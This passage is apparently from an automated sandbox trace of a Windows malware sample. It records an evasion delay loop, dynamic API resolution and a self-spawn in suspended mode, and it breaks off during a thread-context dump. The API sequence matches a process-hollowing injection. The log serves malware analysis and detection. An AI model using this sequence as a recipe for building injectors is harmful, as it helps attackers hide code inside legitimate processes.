(dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.058] SetLastError (dwErrCode=0x0) [0071.058] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd740 [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd74f [0071.059] SetLastError (dwErrCode=0x0) [0071.059] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.060] GetTickCount () returned 0x11cd74f [0071.060] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.061] SetLastError (dwErrCode=0x0) [0071.061] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.062] GetTickCount () returned 0x11cd74f [0071.062] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.063] GetTickCount () returned 0x11cd74f [0071.063] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.064] SetLastError (dwErrCode=0x0) [0071.064] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.065] GetTickCount () returned 0x11cd74f [0071.065] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.066] SetLastError (dwErrCode=0x0) [0071.066] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.067] GetTickCount () returned 0x11cd74f [0071.067] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.068] SetLastError (dwErrCode=0x0) [0071.068] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.069] GetTickCount () returned 0x11cd74f [0071.069] SetLastError (dwErrCode=0x0) [0071.145] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74f30000 [0071.146] GetProcAddress (hModule=0x74f30000, lpProcName="GlobalAlloc") returned 0x74f49950 [0071.146] GetProcAddress (hModule=0x74f30000, lpProcName="GetLastError") returned 0x74f43870 [0071.146] GetProcAddress (hModule=0x74f30000, lpProcName="Sleep") returned 0x74f47990 [0071.146] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAlloc") returned 0x74f47810 [0071.146] GetProcAddress (hModule=0x74f30000, lpProcName="CreateToolhelp32Snapshot") returned 0x74f57b50 [0071.146] GetProcAddress (hModule=0x74f30000, lpProcName="Module32First") returned 0x74f744b0 [0071.147] GetProcAddress (hModule=0x74f30000, lpProcName="CloseHandle") returned 0x74f56630 [0071.147] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x98 [0071.155] Module32First (hSnapshot=0x98, lpme=0x19c364) returned 1 [0071.156] VirtualAlloc (lpAddress=0x0, dwSize=0x89a0, flAllocationType=0x1000, flProtect=0x40) returned 0x30000 [0071.159] LoadLibraryA (lpLibFileName="user32") returned 0x750d0000 [0072.800] GetProcAddress (hModule=0x750d0000, lpProcName="MessageBoxA") returned 0x7514fec0 [0072.801] GetProcAddress (hModule=0x750d0000, lpProcName="GetMessageExtraInfo") returned 0x75103690 [0072.801] LoadLibraryA (lpLibFileName="kernel32") returned 0x74f30000 [0072.801] GetProcAddress (hModule=0x74f30000, lpProcName="WinExec") returned 0x74f6ff70 [0072.801] GetProcAddress (hModule=0x74f30000, lpProcName="CreateFileA") returned 0x74f56880 [0072.801] GetProcAddress (hModule=0x74f30000, lpProcName="WriteFile") returned 0x74f56ca0 [0072.801] GetProcAddress (hModule=0x74f30000, lpProcName="CloseHandle") returned 0x74f56630 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="CreateProcessA") returned 0x74f70750 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="GetThreadContext") returned 0x74f4ec60 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAlloc") returned 0x74f47810 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAllocEx") returned 0x74f72730 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualFree") returned 0x74f47600 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="ReadProcessMemory") returned 0x74f71c80 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="WriteProcessMemory") returned 0x74f72850 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="SetThreadContext") returned 0x74f72490 [0072.802] GetProcAddress (hModule=0x74f30000, lpProcName="ResumeThread") returned 0x74f4a800 [0072.803] GetProcAddress (hModule=0x74f30000, lpProcName="WaitForSingleObject") returned 0x74f56820 [0072.803] GetProcAddress (hModule=0x74f30000, lpProcName="GetModuleFileNameA") returned 0x74f4a720 [0072.803] GetProcAddress (hModule=0x74f30000, lpProcName="GetCommandLineA") returned 0x74f4ab60 [0072.803] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b90000 [0072.804] GetProcAddress (hModule=0x77b90000, lpProcName="NtUnmapViewOfSection") returned 0x77c06f40 [0072.804] GetProcAddress (hModule=0x77b90000, lpProcName="NtWriteVirtualMemory") returned 0x77c07040 [0072.804] GetProcAddress (hModule=0x750d0000, lpProcName="RegisterClassExA") returned 0x75104e90 [0072.804] GetProcAddress (hModule=0x750d0000, lpProcName="CreateWindowExA") returned 0x75106f30 [0072.804] GetProcAddress (hModule=0x750d0000, lpProcName="PostMessageA") returned 0x750ff0e0 [0072.804] GetProcAddress (hModule=0x750d0000, lpProcName="GetMessageA") returned 0x750fe130 [0072.804] GetProcAddress (hModule=0x750d0000, lpProcName="DefWindowProcA") returned 0x77c1aed0 [0072.804] GetProcAddress (hModule=0x74f30000, lpProcName="GetFileAttributesA") returned 0x74f56a20 [0072.804] GetProcAddress (hModule=0x74f30000, lpProcName="GetStartupInfoA") returned 0x74f49c10 [0072.805] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualProtectEx") returned 0x74f72790 [0072.805] GetProcAddress (hModule=0x74f30000, lpProcName="ExitProcess") returned 0x74f57b30 [0072.805] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0072.805] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0072.807] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0072.807] RegisterClassExA (param_1=0x19c020) returned 0xc1d7 [0072.808] CreateWindowExA (dwExStyle=0x200, lpClassName="saodkfnosa9uin", lpWindowName="mfoaskdfnoa", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=1000, nHeight=1000, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x801f6 [0078.021] PostMessageA (hWnd=0x801f6, Msg=0x400, wParam=0x64, lParam=0x1f4) returned 1 [0078.022] GetMessageA (in: lpMsg=0x19c050, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19c050) returned 1 [0078.023] GetMessageA (in: lpMsg=0x19c050, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19c050) returned 1 [0078.023] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x1000, flProtect=0x4) returned 0x5f0000 [0078.023] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x5f0000, nSize=0x2800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe")) returned 0x48 [0078.024] GetStartupInfoA (in: lpStartupInfo=0x19bf74 | out: lpStartupInfo=0x19bf74*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0078.024] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe\" " [0078.024] CreateProcessA (in: lpApplicationName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe", lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19bf74*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0), lpProcessInformation=0x19bfcc | out: lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe\" ", lpProcessInformation=0x19bfcc*(hProcess=0x110, hThread=0x10c, dwProcessId=0xe38, dwThreadId=0x880)) returned 1 [0078.055] VirtualFree (lpAddress=0x5f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.056] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x5f0000 [0078.057] GetThreadContext (in: hThread=0x10c, lpContext=0x5f0000 | out: lpContext=0x5f0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x227000, Edx=0x0, Ecx=0x0, Eax=0x423d80, Ebp=0x0, Eip=0x77c08fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, 